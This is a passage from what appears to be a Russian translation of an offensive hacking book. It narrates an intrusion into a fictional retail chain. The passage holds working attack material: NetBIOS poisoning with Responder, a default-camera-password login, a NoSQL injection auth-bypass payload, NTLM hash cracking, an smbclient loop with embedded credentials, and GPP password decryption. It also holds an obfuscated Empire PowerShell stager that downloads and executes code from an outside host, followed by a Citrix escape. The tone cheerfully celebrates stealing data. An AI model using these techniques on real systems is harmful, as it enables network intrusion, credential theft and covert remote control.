необходимо устанавливать вручную. Перевод @Ianuaria skladchik.com Вдобавок, многие новые роутеры настроены на запуск мер противодействия (порой, очень решительных), если обнаруживают флуд из заспуфленных ARP-сообщений: они отключают спамера, игнорируют его сообщения, банят его и так далее. К счастью, есть очень похожий способ добиться положения человека посередине, который немного сложнее нейтрализовать: отравление NetBIOS. NetBIOS - это протокол (прикладной уровень), используемый устройствами с ПО от Microsoft для преобразования имен в IP-адреса, в точности как с DNS. К нашему огромному удовольствию, он работает больше как ARP. Компьютер говорит имя сервера, с которым хочет установить контакт: “Какой IP-адрес у FRSV01?” Первая машина, которая заявляет, что знает IP-адрес этой машины, выигрывает приз и получает обещанные данные. Никакие дополнительные проверки не выполняются. Выясняется, что операционная система Windows сильно полагается на имена NetBIOS: чтобы монтировать сетевые диски, подсоединяться к базам данных SQL Server, загружать внутренние веб-сайты и так далее. Наша цель, в таком случае, использовать PI Zero в качестве устройства для NetBIOS-флуда, это означает, что он будет отвечать на все NetBIOS-соединения, совершаемые устройствами под Windows: планшетами и компьютерами. Как только мы сможем успешно обмануть устройство и оно отправит нам свои данные, мы сможем эффективно олицетворить сервер и запросить учетные данные пользователя, как поступают все легитимные серверы. Поскольку мы в той же локальной сети, что и целевые устройства, у нас есть высокие шансы забрать приз и получить Перевод @Ianuaria skladchik.com надежный поток данных. В зависимости от запроса, сделанного устройством, мы либо получим пароли в открытом тексте, в случае, если пользователь посетит внутреннюю веб-страницу, защищенную BASIC-аутентификацией26, либо, с большей вероятностью, хэш NTLM-ответа (больше об этом далее). Мы будем использовать утилиту Responder для проведения атаки с отравлением NetBIOS. Мы можем загрузить последнюю версию этой утилиты на PI Zero при помощи следующей команды: Эта утилита породит множество фейковых служб на PI, которые обычно используются в Windows: служба обмена файлами (SMB), HTTP, FTP, SQL Server и так далее, и будет терпеливо ожидать, пока клиенты, опирающиеся на NetBIOS, не начнут контактировать со своими серверами. 26 В схеме BASIC-аутентификации пользователь добавляет HTTP-заголовок, содержащий ‘login:password’ в base64-кодированном формате. Этот заголовок присутствует во всех запросах, что позволяет легко перехватывать его. Перевод @Ianuaria skladchik.com Перевод @Ianuaria skladchik.com -wrfопция активирует различные опции по отравлению -Iопределяет имя устройства для отравления Мы оставляем Responder выполнять свои (не)законные обязанности и начинаем слоняться по сети: исследуем машины, ищем низковисящие фрукты и так далее. Буква S в аббревиатуре IoT означает Security (Безопасность) Я реально сомневаюсь, что в сети этого небольшого магазинчика есть система обнаружения вторжений (IDS), но мы будем действовать безопасно и запустим аккуратное сканирование по 100 наиболее популярным открытым портам (опция -F) для каждой машины: Перевод @Ianuaria skladchik.com Как и ожидалось, мы встречаем компьютер менеджера (192.168.1.25), работающий на операционной системе Windows - это становится понятно благодаря классическим службам “microsoft-ds” и “netbios-ssn” (порты 445 и 139). Несколько машин с отсутствующими открытыми портами - это скорее всего iPad, используемые менеджерами по продажам. Однако есть два неопознанных дополнительных устройства: 192.168.1.87 и 192.168.1.90! Перевод @Ianuaria skladchik.com Вывод nmap показывает то, что похоже на веб-страницу на порту 80 на обоих устройствах. Достаточно сложно просмотреть это с помощью PI Zero. Мы могли бы использовать веб-браузер в терминале, но у кого хватит терпения скроллить веб-страницу при помощи клавиши пробела? Давайте расчехлим большие пушки и запустим SOCKS-прокси на PI: программу, которая принимает соединения и автоматически перенаправляет их на цель даже не задерживаясь на содержимом. Простую реализацию такой программы с использованием скриптов на Python можно найти по следующему адресу.27 Очевидно, что это открывает локальный порт (9876) на PI Zero, доступ к которому мы не можем получить с сервера Front Gun. Чтобы сделать его доступным извне, мы задействуем тот же самый трюк, который использовали ранее: SSH-туннелирование. Это откроет порт 7777 на сервере Front Gun и свяжет его с портом 9876 на PI: то есть, с SOCKS-программой, которая перенаправляет пакеты на ту цель, которую мы выбираем. Заключительным шагом мы инструктируем Firefox на сервере Front Gun использовать этот туннель (Настройки -> Дополнительные -> Сеть -> Параметры соединения): 27 https://github.com/k3idii/python-socks-server Перевод @Ianuaria skladchik.com Посещаем открытый порт 80 на машине 192.168.1.87 и обнаруживаем крайне приятный сюрприз: Похоже, наши друзья из GibsonBird приняли дополнительные меры для защиты своего магазина: камера от Hikvision, записывающая происходящее в режиме реального времени. Видеонаблюдение и все такое. Доступ защищен паролем, поэтому мы не особо можем пошариться внутри. Однако, прелесть IoT-устройств (Интернета вещей) состоит в том, что в большинстве случаев подобные Перевод @Ianuaria skladchik.com продукты устанавливаются учетными данными.28 с дефолтными, прямо-по-мануалу Мало кто утруждает себя изменением этих паролей; в конце концов, ведь они же в безопасной локальной сети! Все, что нам нужно сделать, это поискать руководство по установке для получения доступа к этому устройству. К примеру, для камер от Hikvision учетные данные по умолчанию: admin/12345. Теперь мы можем отслеживать происходящее в магазине в режиме реального времени, создавать мертвые зоны, изменять освещенность и так далее. Очень приятно. Если вы хотите поиграться с камерами, можете поискать их в интернете при помощи так называемых Google-дорков: специальных поисковых фильтров Google, предназначенных для выделения специфического оборудования или веб-сайтов.29 28 За несколько месяцев до выхода этой книги была проведена одна из самых массированных DoS-атак, когда-либо случавшихся, в которой использовались дефолтные пароли для незащищенных IoT-устройств: камеры, термостаты, фонари освещения и т.д. Эта атака поставила на колени буквально половину интернета… вот насколько огромной является эта проблема безопасности: https://www.wired.com/2016/12/botnet-broke-internet-isnt-going-away/ 29 https://www.exploit-db.com/google-hacking-database/13/ Перевод @Ianuaria skladchik.com Веб-сайт Shodan30, поисковый движок для всего того, что подключено к интернету, также покажет несколько сотен тысяч камер. Лучше, чем Netflix Давайте проверим вторую любопытную машину, работающую в сети: 192.168.1.90. Быстрый поиск в Google не дает никакой значимой информации о продукте для стриминга (потоковой передачи контента) под названием Valkyrie. Вероятно, это самодельное решение для медиа-сервера, используемое в GibsonBird для стрима контента на экраны дисплеев в локальных магазинах. Обычно классический медиа-сервер работает следующим образом: он скачивает контент с удаленного сервера 30 www.shodan.io Перевод @Ianuaria skladchik.com (корпоративного в данном случае, может быть?), используя HTTP, FTP, NFS (обмен файлами в Unix) или другие протоколы, затем осуществляет потоковую передачу этих файлов на экраны TV, подписанные на медиа-центр. Если мы получим доступ к этому веб-приложению, то сможем отобразить любое (веселое) сообщение на экране этого магазина. Так ли это необходимо нам? Вовсе нет. Подобного рода нежелательное раскрытие попросту поставит под угрозу всю операцию за 10 секунд веселья. Но опять же, в целях полноты картины, давайте разберемся, как можно хакнуть эту платформу чисто в целях демонстрации. Первой реакцией после нахождения камеры будет попробовать типовые пароли.31 Что-то наподобие: admin/admin, admin/password, admin/P@ssword. Похоже, подобный трюк не проходит дважды. Но это было бы слишком уж легко! Как насчет специальных символов (", ', <, >, ;), чтобы проверить, как разработчики из GibsonBird обрабатывают непредвиденные данные: 31 https://github.com/danielmiessler/SecLists/tree/master/Passwords Перевод @Ianuaria skladchik.com Это сообщение об ошибке может обрадовать хакера до такой степени, что можно пойти дать пять случайному прохожему! Это сообщение говорит нам об одной простой истине: мы можем обойти процесс аутентификации. Давайте разберем это поэтапно! Ошибка раскрывает, что медиа-сервер использует базу данных MongoDB для хранения учетных записей и паролей. Что еще более интересно, факт того, что простая двойная кавычка (") вызвала такую большую проблему, говорит нам о том, что данные, которые мы отправляем, автоматически обрабатываются MongoDB в качестве части запроса! Это означает, мы можем каким-либо образом подменить запрос на аутентификацию, что может в конечном итоге привести к полному обходу! Возможный запрос на поиск валидной учетной записи будет рассчитывать на функцию find, которая принимает следующие параметры: auth_db.find( { "user": "admin", "password":"wrong_pass" } ) Перевод @Ianuaria skladchik.com Вставка двойной кавычки в поле с паролем дает некорректные данные для функции find(), что обычно приводит к исключению, по этой причине возникла предыдущая ошибка: auth_db.find( { "user": "admin", "password":"wro"ng_pass" } ) Давайте попробуем по-другому. Вместо вставки простой двойной кавычки, как насчет добавления условного выражения, которое всегда будет выполняться! Например, вместо запроса у MongoDB на поиск и пользователя, и пароля, подходящих под заданные критерии, мы можем добавить условие “OR”, что пароль должен быть длиннее или равен следующей пустой строке: auth_db.find( { "user": "admin", "password":"", "password":{"$gte":" "} } ) MongoDB будет искать учетную запись с именем admin с пустым паролем или паролем, содержащим данные. Этот запрос всегда будет выполняться, при условии, конечно, что есть учетная запись с именем “admin”. Мы отправляем пейлоад в поле с паролем и терпеливо ожидаем сообщения с приветствием: Перевод @Ianuaria skladchik.com Мы внутри! Поздравляю, мы только что использовали так называемую noSQL-инъекцию!32 Как только мы попадаем в консоль администратора медиа-сервера, нам лишь нужно найти URL, используемый для вывода контента, и осуществить привязку к видео-файлу, который хостится на сервере Front Gun. Некоторые медиа-серверы позволяют только стримить контент, который хостится локально на диске. Если это наш случай, нам нужно найти способ скомпрометировать сервер, перед тем как подменить отображаемый контент. По счастливой случайности, это цель оставшейся части главы! Примечание: очевидно, что это затронет только локальные экраны дисплеев данного магазина. Далее в книге мы получим достаточные привилегии, чтобы контролировать исходный сервер передачи данных и поставлять любой контент, какой захотим, во все магазины страны! 32 https://www.owasp.org/index.php/Testing_for_NoSQL_injection Перевод @Ianuaria skladchik.com Первые учетные данные - добро пожаловать в команду Пока мы были заняты и игрались с камерами и экранами дисплеев, нам удалось наконец захватить запрос на аутентификацию от компьютера менеджера: Мы получаем три релевантных элемента из вышеуказанных данных: ● ● ● ● Учетная запись менеджера в Windows: dvoxon Имя домена: GBSHOP (подробнее об этом позже) Имя целевой машины: SV0078 И что наиболее важно, NTLM-ответ на запрос Чтобы в полное мере воспользоваться потенциалом этих элементов, нам нужно сделать небольшое отступление по теме процессов аутентификации в окружении Windows. Основной протокол, используемый устройствами с ПО от Microsoft для идентификации пользователей33 - это NTLM. Это протокол вида “запрос-ответ”, который работает примерно так34: ● Удаленный сервер получает запрос на использование ресурса (папка, файл и т.д.) от пользователя с именем dvoxon. Он отправляет пользователю рандомное число. 33 Вплоть до последних версий Windows, где появился Kerberos… Больше о Kerberos далее в книге. 34 Мы представили протокол версии v1. Во второй версии появляется рандомное число, которое отправляется и со стороны клиента. Это никак не влияет на наш сценарий. Перевод @Ianuaria skladchik.com ● Рабочая станция пользователя применяет определенные математические функции к его паролю для получения хэша, уникального отпечатка, который мы будем называть H. ● Рабочая станция затем соединяет хэш (H) с рандомным числом и вычисляет другой хэш, называемый H2. Это NTLM-ответ на запрос. ● Рабочая станция отправляет этот результирующий хэш (H2) на сервер. ● У сервера есть доступ к захэшированному паролю пользователя (H), и он знает рандомное число. Он вычисляет H2 на своей стороне и сравнивает его с полученным H2. Если значения совпадают, пользователь получает доступ. В этом протоколе есть множество уязвимостей, которые мы будем эксплуатировать позже (атака pass-the-hash наиболее популярна). В настоящий момент, мы заинтересованы лишь в NTLM-ответе, поскольку он содержит детерминированное значение пароля. Мы знаем рандомное число ( Responder выступает в роли сервера, который сгенерировал его), так что мы можем легко перебрать брутфорсом все возможные пароли, пока не получим пароль, соответствующий NTLM-ответу (H2). Конечно, существуют инструменты, чтобы это осуществить. Мы будем использовать John The Ripper со словарями ранее взломанных паролей, которые можно найти по следующим ссылкам.35 Мы запускаем John на сервере Front Gun (или на выделенном сервере для взлома паролей, если он у вас есть) и терпеливо ожидаем результата: 35 https://wiki.skullsecurity.org/Passwords, https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm Перевод @Ianuaria skladchik.com Отлично! Теперь у нас есть учетная запись, с которой можно поиграться! Учетная запись менеджера, не меньше. Теперь мы становимся официальной частью окружения GibsonBird. Перед тем, как приступить к веселью, однако, я бы хотел уделить несколько строк Active Directory в Windows. Важно разобраться с этим элементом, чтобы полностью понимать корпоративную архитектуру Windows. Перевод @Ianuaria skladchik.com Доменный апофеоз “Единственное отличие между тобой и Богом в том, что ты забыл, что ты и есть Бог”. Дэн Браун Перевод @Ianuaria skladchik.com Active Directory Чтобы проследовать по дальнейшему сценарию, важно владеть базовыми знаниями о Windows Active Directory. Эта небольшая глава предназначена для этой задачи, мы пройдемся по некоторым ключевым концепциям Active Directory. Если вы чувствуете, что знаете об AD, можете просто перейти к следующей главе. Windows-машины в корпоративном окружении обычно связаны друг с другом с целью обмена ресурсами и настройками. Эта взаимосвязь устанавливается при помощи Windows Active Directory. Корневой узел Windows Active Directory называется Лесом. Его основное предназначение - содержать домены (группы машин и пользователей), которые совместно используют одинаковую конфигурацию.36 Каждый домен следует своим собственным политикам (сила паролей, расписание обновлений, учетные записи пользователей, машины и так далее). В нашем сценарии, GibsonBird определили домен под названием GBSHOP.CORP для поддержания работы серверов и компьютеров в локальных магазинах. Контроллер домена - это Windows-машина, которая контролирует и управляет отдельным доменом. Это центральный хаб, к которому ресурсы обращаются для принятия решений или запроса новых настроек. Чем крупнее сеть, тем больше в ней контроллеров доменов для масштабирования производительности. Два типа пользователей могут быть Windows-машине, присоединенной к домену: 36 определены на Каждый домен далее может быть разделен на организационные подразделения. Первый домен в лесу называется корневым доменом. Перевод @Ianuaria skladchik.com ● Локальные пользователи, чьи хэши паролей хранятся локально на сервере ● Пользователи домена, чьи хэши паролей хранятся на контроллере домена Пользователь домена, таким образом, не привязан к отдельной рабочей станции и может подключаться ко всем рабочим станциям в домене (если только это не запрещено). Для удаленного открытия сеанса на сервере, однако, пользователю необходимы либо привилегии для удаленного рабочего стола на заданном сервере, либо права администратора (либо локального, либо администратора домена). Пользователи могут быть в составе локальных групп, определяемых исключительно на заданной машине, либо они могут быть в составе доменных групп, определяемых на уровне домена то есть, на машине контроллера домена. Есть три основных доменных группы, которые обладают полным контролем над доменом и всеми его ресурсами: ● Группа администраторов домена ● Группа администраторов предприятия ● Администраторы домена Если мы контролируем учетную запись, принадлежащую одной из этих групп, то это автоматический шах и мат компании.37 Вернемся к нашей текущей ситуации, учетная запись dvoxon присоединена к домену GBSHOP. Точно также и рабочая станция, 37 Есть ряд других способов получения тотального контроля над доменом: привилегия на запись для GPO, делегирование административных полномочий и т.д. Посмотрите на этот великолепный доклад с Black Hat 2016: https://www.youtube.com/watch?v=2w1cesS7pGY Перевод @Ianuaria skladchik.com которую они используют, и конечно, сервер, с которым они пытались связаться, когда мы перехватили этот запрос. Теперь, когда у нас есть легитимная учетная запись в домене, давайте немного пошаримся и посмотрим, какие сокровища лежат в этих краях. Нажимаем на повтор! У нас есть пароль пользователя домена. Первое, что приходит на ум, это использовать данную информацию для подключения к их рабочей станции и загрузить их файлы и папки. Для удаленного запуска команд на Windows-машине нам нужно как минимум одно из этих трех условий по сети: ● Протокол удаленного рабочего стола (RDP) - открытый порт 3389 на машине. Используя программы типа mstsc в Windows или rdesktop/remmina в Linux, мы можем открыть графический интерактивный сеанс на машине. Это дежурный вариант для простого удаленного подключения. ● Удаленные вызовы процедур (RPC) - порты 135 и 49152-65535 (или 5000-6000 на Windows 2003). Это специальные службы, которые позволяют администраторам удаленно запускать Перевод @Ianuaria skladchik.com функции и процедуры на машинах, некоторые из которых позволяют выполнять код. ● Удаленный PowerShell (WinRM) - порты 5985-5986. Служба WinRM принимает удаленные PowerShell-команды от пользователей-администраторов. Если вернуться к сканированию nmap, которое мы выполнили ранее, мы можем применить фильтр для рабочей станции менеджера: RDP не открыт на машине, что не удивительно. Обычно он используется на серверах. Порт 135 открыт, тем не менее! Будем действовать по олд-скулу: исполнение в режиме командной строки через RPC. Наличие графического интерфейса (RDP) для экспериментов может показаться более простым вариантом, но у него есть ряд ограничений. Например, только один пользователь может открыть интерактивный сеанс за раз. Нам нужно терпеливо дождаться, пока dvoxon отправится на обеденный перерыв, перед тем, как попытаться осуществить скрытое соединение. Вдобавок, RDP-соединения имеют свой выделенный файл логирования, поэтому следователю будет легче определить точное время несанкционированного доступа. В этой связи лучше отдать предпочтение запуску команд через RPC. Перевод @Ianuaria skladchik.com Мы обратимся к инструменту под названием wmiexec из фреймворка Impacket38, чтобы получить интерактивное приглашение на ввод команд через RPC. Учетные данные валидны. Однако, кажется, что у dvoxon нет достаточных привилегий на машине для удаленного выполнения команд. Либо компонент UAC ограничивает наши потенциальные возможности. Microsoft внедрили UAC (Контроль учетных записей пользователей) для ограничения удаленного запуска команд через RPC и WinRM. Поэтому, может быть, что dvoxon действительно является членом группы администраторов, но нас принуждают к использованию контекста с пониженными привилегиями из-за UAC. В любом случае, мы попробуем пойти по другому пути. Что насчет наличия общих сетевых ресурсов, доступных для этой рабочей станции? Возможно, найдется папка с ценной информацией: 38 https://github.com/CoreSecurity/impacket Перевод @Ianuaria skladchik.com Окей, не в этот раз. ADMIN$, C$ и IPC$ - это дефолтные общие сетевые ресурсы, доступные только для пользователей с правами администратора (имеется ввиду, удаленно). По сути, у нас есть валидные учетные данные, но мы ограничены небольшим количеством потенциальных целей… Хотя, подождите-ка! У нас под рукой есть дополнительные кандидаты. Помните тот сервер, к которому менеджер пытался получить доступ - SV0078? Давайте испытаем удачу с той машиной. Вообще говоря, давайте действовать смелее. Мы нацелимся на все возможные сервера, которые хостятся в одной сети с SV0078. Чтобы это сделать, мы сначала преобразуем NetBIOS-имя SV0078 в стандартный IP-адрес. Далее мы выполняем быстрое сканирование с nmap, ищем машины, работающие в этой же сети (мы остаемся в сегменте /24 для быстрого сканирования). Очень маловероятно, что dvoxon, менеджер филиала, имеет права локального администратора на каком-либо из этих серверов, поэтому мы просто поищем сервера, которые хостят общие сетевые ресурсы - а именно, сервера с открытым портом 445: Перевод @Ianuaria skladchik.com Му сузили список возможных целей до выборки из нескольких целей со службами для обмена файлами (10 машин из 253). Давайте проведем процесс их спайдеринга, используя грязную петлю на bash, которая выведет список доступных общих сетевых ресурсов при помощи команды smbclient: #!/bin/bash ## Массив, содержащий все достижимые цели declare -a arr=("10.10.20.78" "10.10.20.199" "10.10.20.41" "10.10.20.25" "10.10.20.90" "10.10.20.22" "10.10.20.38" "10.10.20.15") "10.10.20.56" "10.10.20.71" ## Теперь петля через вышеуказанный массив for i in "${arr[@]}" do echo $i ## Вывод списка общих сетевых ресурсов smbclient -L $i -U GBSHOP\\dvoxon%Bird123! echo "--" done Совсем другое дело! Я уверен, вы обратили внимание на ресурс “ FTP_SALES$” (отдел продаж), как и другие появившиеся Перевод @Ianuaria skladchik.com папки, но используя учетную запись dvoxon с пониженными привилегиями, мы не можем получить к ним доступ (пока что): Нам нужен способ добиться повышенных привилегий, чтобы избавиться от этих досадных ограничений. Один из вариантов достичь этого, это просмотреть ресурсы, доступные для dvoxon, поискать скрипты и параметры конфигурации, которые могут раскрыть какие-либо пароли: .bat, .xml, .sh, .vbs, .vba, .vbe, .asp, .aspx, .php, .jsp и так далее. Наша первая цель - это машина SV0199 (10.10.20.199), которая хостит общий сетевой ресурс SYSVOL. Выбор не случаен. Это типовая папка, которая может находиться на контроллерах доменов. Перед нами массивная цель! Команда recurse в smbclient, объединенная с командой ls, отображает файлы во всех доступных директориях: Перевод @Ianuaria skladchik.com smbclient возвращает несколько xml-файлов, расположенных в этой папке. Контроллеры доменов используют эти файлы (groups.xml, ScheduledTasks.xml и т.д.), чтобы применять специфические конфигурации на машинах домена. Одна из подобных полезных конфигураций, например, это настройка пользователя локального администратора на любой новой рабочей станции. Обычно это делается при помощи файла “groups.xml”. Конечно, любое автоматическое создание учетной записи включает в себя механизм для хранения пароля, и лучшим местом для хранения этой критичной информации является этот же самый файл, используемый для создания учетной записи, groups.xml, это файл, который должен быть доступен - преднамеренно - для чтения любой рабочей станцией, а следовательно, любым пользователем домена! Как мы видим на скриншоте ниже, используя команду get, мы можем получить “обфусцированную” версию пароля учетной записи локального администратора, с именем wk_admin: Мы можем восстановить версию пароля в открытом тексте, проведя реверсинг схемы шифрования (AES-256), поскольку Перевод @Ianuaria skladchik.com Microsoft случайно опубликовали несколько лет назад: ключ на своем веб-сайте Бинго!39 Теперь, когда у нас есть валидная учетная запись локального администратора, мы можем наконец удаленно выполнять команды на рабочей станции менеджера. UAC может побеспокоить нас в некоторых редких случаях, но основная учетная запись локального администратора по умолчанию избавлена от него. Быстрый тест wmiexec подтверждает, что у действительно есть полный контроль над рабочей станцией: 39 нас Gpp-decrypt не доступен для ARM-версии Kali. Поэтому мы дешифруем пароль на сервере Front Gun. Перевод @Ianuaria skladchik.com Empire спешит на помощь Мы можем рассчитывать на wmiexec для удаленного запуска команд на компьютере менеджера, но будем относительно ограничены, как только копнем немного глубже: сбор информации о домене, запуск кейлоггеров, возможно, просмотр папок и так далее. Поэтому воспользуемся PowerShell-фреймворком, разработанным @harmj0y, @sixdub и @enigma0x3 под названием Empire. Это набор скриптов, который выполняет всю тяжелую работу и автоматизирует процессы разведки и эскалации привилегий. Будем следовать следующей злой схеме: запустим скрипт Empire на компьютере менеджера при помощи wmiexec. Скрипт будет соединяться обратно с сервером Front Gun и предоставлять нам интерактивный доступ к набору модулей для запуска на компьютере менеджера. Чтобы иметь возможность получать входящие соединения с зараженных целей, мы загружаем и устанавливаем Empire PS на сервер Front Gun (по сути, надо лишь скопировать репозиторий Git и запустить install.sh). Перевод @Ianuaria skladchik.com На экране приветствия идем в меню прослушивателей (команда listeners) и выводим их дефолтный список при помощи команды info: Устанавливаем правильный порт и адрес, выполнив команду set (например, set Port 443). Далее запускаем прослушивателя: run <Имя прослушивателя>. Теперь нам нужно сгенерировать код на PowerShell, который будет соединяться обратно с listener. Мы будем называть этот фрагмент кода “stager” или “агент”: Если вы изучите файл stager_ps.ps1, то кое-что найдете в нем: powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAFkAUwB0AGUAbQAuAE4AZQBUAC4AUwBlAHIAdgBpAGMARQBQAG8AaQBOAFQATQBh AG4AQQBnAGUAcgBdADoAOgBFAHgAUABFAEMAdAAxADAAMABDAG8ATgBUAE Не позволяйте этому огромному значению из рандомных (по виду) символов впечатлить вас. Это не что иное, как использование алгоритма кодирования под названием base64 для упрощения Перевод @Ianuaria skladchik.com строкового выполнения. Его можно обратить следующей команды, если вам это интересно: при помощи Это даст обычные PowerShell-команды, которые связываются обратно с listener, запрашивают новые команды и выполняют их на целевой машине. Stager может работать с параметрами прокси (классика для корпоративного окружения) и использует симметричное шифрование (операция XOR) для защиты потока трафика. Код, как можете заметить, немного сложноват для чтения из-за знаков верхнего регистра, аббревиатур и символов: это некоторые техники, используемые для полета над радаром и обхода антивирусного программного обеспечения. Короче говоря, респект команде разработчиков Empire. [SYStem.NeT.ServicEPoiNTManAger]::ExPECt100CoNTInuE = 0;$WC=NeW-OBjECT SYSTem.Net.WEBCLIENt; $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HEadeRS.ADD('User-Agent',$u); $Wc.PrOXy = [SYsTeM.Net.WeBReqUEST]::DEfAUltWEbPRoxy; $WC.ProXY.CreDEnTiALS = [SYStem.NeT.CREdENtiaLCaCHe]::DefaultNetwORkCREdeNtIaLs; $K='7c37be7260f8cd7c1f5e4dbdd7bc5b23'; $I=0; [CHAR[]]$b=([CHAR[]] ($wC.DowNlOADSTrInG("http://192.168.56.101:443/index.asp")))|%{$_BXOr$k[$I++%$k.LEnGth]}; IEX ($B-JoiN'') Перевод @Ianuaria skladchik.com Мы запускаем этот stager на рабочей станции менеджера при помощи wmiexec и терпеливо ожидаем оповещения на сервере Front Gun: Отлично! Как видим, мы подключились к машине как wk_admin, конечно, это пользователь, не являющийся членом домена, но являющийся администратором на рабочей станции. Мы переименовываем агент на wkAgent: Если мы выведем список локальных администраторов на рабочей станции, то заметим, что учетная запись dvoxon отсутствует. Давайте-ка наградим его подарком и добавим в привилегированный список. Перевод @Ianuaria skladchik.com Можем оставить агент wk_admin работать для выполнения различных действий на машине: выводить список папок, получать файлы и так далее. Но мы будем привязаны к этой конкретной рабочей станции. Чтобы установить связь с доменом Windows Active Directory и проникнуть глубже в сеть, нам нужен агент с валидными учетными данными домена: учетная запись dvoxon. Поэтому далее мы породим новый агент, используя его учетные данные. Таким образом, мы сможем контролировать машину и также общаться с контроллером домена для получения релевантной информации.40 40 Мы могли бы использовать другую, менее интрузивную технику, известную как имперсонализация токена. Поговорим о ней чуть позже. Перевод @Ianuaria skladchik.com Используя агент dvoxon и модуль get_domain_controller, мы можем увидеть, что есть два контроллера домена: SV0198 и SV0199. Домен GBSHOP управляется четырьмя высоко привилегированными учетными записями: administrator, georges_adm, rachel_adm и sysback. Это наши цели для получения контроля над GBSHOP. Нам нужно постоянно держать их в поле зрения: Продолжая наш процесс исследования, мы составляем карту доверительных отношений между потенциальными доменами: Перевод @Ianuaria skladchik.com Теперь становится интересно! Доверительное отношение, как вы могли догадаться, это когда один домен доверяет и разрешает пользователям из других доменов подключаться к своим машинам. Теоретически, мы можем использовать учетную запись dvoxon на некоторых машинах, принадлежащих другим доменам Windows (GBHR, GBRD и т.д.). Могут быть некоторые ограничения по ресурсам, к которым у нас будет доступ, но вы поняли основную идею. Обратите внимание на тип доверия: “Внешнее”. Это означает, что каждый домен является частью своего собственного отдельного Леса. Помимо доверительных отношений между этими сущностями нет связи.41 Это значительно осложняет дела! Это значит, что даже если мы скомпрометируем GBSHOP, нам по-прежнему нужно будет вручную компрометировать все остальные леса. Это жесткая игра. Имена доменов (лесов) также поднимают интересный вопрос. Это гипотетическая архитектура, которую мы держали в уме: 41 Тип доверия “TreeRoot” или “ChildRoot” означает, что два домена совместно используют один и тот же лес. Если мы скомпрометируем один домен, то сможем скомпрометировать все домены в лесу. Далее в книге о Kerberos и krbtgt. Перевод @Ianuaria skladchik.com С учетом этой новой информации, по всей видимости, есть большее разделение, чем мы изначально могли подумать. Магазины по всей стране, видимо, все подключены к одному домену GBSHOP, который в свою очередь подключен к отделу продаж. Но мы нашли другие ветви, а именно, R&D (отдел исследований и разработок) и HR (отдел кадров), которые считаются отдельными сущностями. Очевидно, домен Windows не обязательно подразумевает изолированное географическое положение или отдельное юридическое лицо, но вне всякого сомнения подразумевает определенное разделение на уровне систем (разные администраторы, команды безопасности, возможный файрвол и т.д.). Мы можем заовнить домен GBSHOP, но мы не получим эти данные по продажам, просто потому что они хранятся в другом домене… то же самое касается и данных по отделу кадров: Перевод @Ianuaria skladchik.com Разберемся с этим по порядку! Во-первых, закончим с GBSHOP, затем поищем возможности на других доменах. По одному небольшому шагу за раз. Мы ищем файлы и документы, но не можем найти ничего сохраненного на компьютере менеджера… странно. Нигде не находим данных по продажам или паролей: Что-то не так. Либо это полностью девственная рабочая станция, либо что-то определенно не так. Мы снимаем скриншот Перевод @Ianuaria skladchik.com текущего рабочего стола пользователя, чтобы посмотреть, чем он занимается: Даниэль - теперь мы можем называть его по имени - по всей видимости работает в веб-приложении. Мы запускаем Firefox через SOCKS-прокси, который мы установили ранее, и посещаем этот же URL: Платформа Citrix! Теперь все становится понятно: виртуализация! Волшебный способ корпорации по сокращению расходов и защите своей инфраструктуры… но получится ли защитить?! Перевод @Ianuaria skladchik.com Вырываемся на свободу Citrix - это технология виртуализации, используемая множеством компаний для преодоления устрашающей проблемы: “ Как нам предоставить 40 тысячам пользователей безопасное, единообразное и с наличием разграничений окружение, чтобы они получали доступ к критически важным приложениям, не открывая 40 тысяч сетевых дыр в нашем файрволе?” Citrix позволяет пользователям получать доступ и запускать приложения на удаленных серверах, но отображает их так, словно они запущены на рабочих станциях пользователей. Посмотрите на приложение Google Chrome, доступное через Citrix: Когда мы нажимаем на него, на удаленном сервере открывается процесс Google Chrome, при этом окно браузера отображается, словно он запущен на нашем компьютере. Конечно, можно выявить этот спектакль, поскольку есть разница в стилях между удаленным окном Google Chrome (на сервере Windows 2012) и локальным окном (Windows 10): Перевод @Ianuaria skladchik.com В конце концов, Citrix - это не что иное, как “накрученный” RDP-сеанс42, открываемый на удаленном сервере и привязанный к одному приложению. Когда вы начинаете думать о нем в этом русле, открывается целый набор новых возможностей. Что если мы сможем запустить что-либо помимо Google Chrome на удаленном сервере? Может быть, командный интерпретатор ( cmd.exe)? Проводник Windows (explorer.exe)? Если да, то сможем ли мы получить доступ к файлам других пользователей? Что мы сможем найти в них? Здесь начинается самое веселье! Теперь, когда у нас есть понимание того, что такое Citrix, давайте вернемся к GibsonBird и воспользуемся учетной записью Windows Даниэля для входа на веб-страницу: 42 Интерактивный удаленный доступ Перевод @Ianuaria skladchik.com Выбор за нами! Мы можем подключиться к приложению продажников и получить доступ к некоторым данным, но это будут всего лишь несколько продаж, сделанные в этом небольшом магазинчике. Мы должны стремиться к большему, и мы должны мечтать о большем! Мы хотим получить доступ к данным по продажам из каждого магазина в стране, и секретное приложение, которое подарит нам исполнение нашей мечты - это… барабанная дробь… калькулятор! Это приложение, как я уже сказал, работает на удаленном сервере! Каждое сочетание клавиш, команда и ссылка запускается на сервере! К примеру, Citrix предлагает сочетание клавиш Ctrl+F1 для запуска диспетчера задач. Давайте попробуем: Перевод @Ianuaria skladchik.com Ваш системный администратор заблокировал эту программу. Для получения дополнительной информации обратитесь к своему системному администратору. Не есть хорошо! Кажется, имеются какие-то меры усиления защиты, которые запрещают нам порождать приложения, которые не были специально разрешены через Citrix. Не беспокойтесь. Есть целый ряд других уловок, на которые можно рассчитывать.43 Один из трюков, который мне особенно нравится, это найти URL в каком-либо скрытом меню. Нажатие по URL автоматически запустит сеанс браузера на сервере, вероятнее всего, Internet Explorer. Меню помощи в любом приложении - это главный кандидат при совершении подобного маневра: 43 Почитайте отличную статью с другими трюками, которые можно попробовать: https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-envi ronments/ Перевод @Ianuaria skladchik.com Открывается Internet Explorer! Интересно, хотя есть некоторые оговорки. Диспетчер задач запустить не разрешается, а Internet Explorer можно! Лучшая новость в том, что мы можем использовать Internet Explorer44 для доступа к системным файлам! Все, что нам нужно сделать, это нажать “ CTRL+O” (открыть) и ввести “C:” в адресную строку! Эта операция была отменена из-за ограничений, действующих на этом компьютере. Пожалуйста, обратитесь к своему системному администратору. Не разрешено. Окей, как насчет “\\127.0.0.1\C$”, которая ведет к диску “C:”? 44 общей папки По 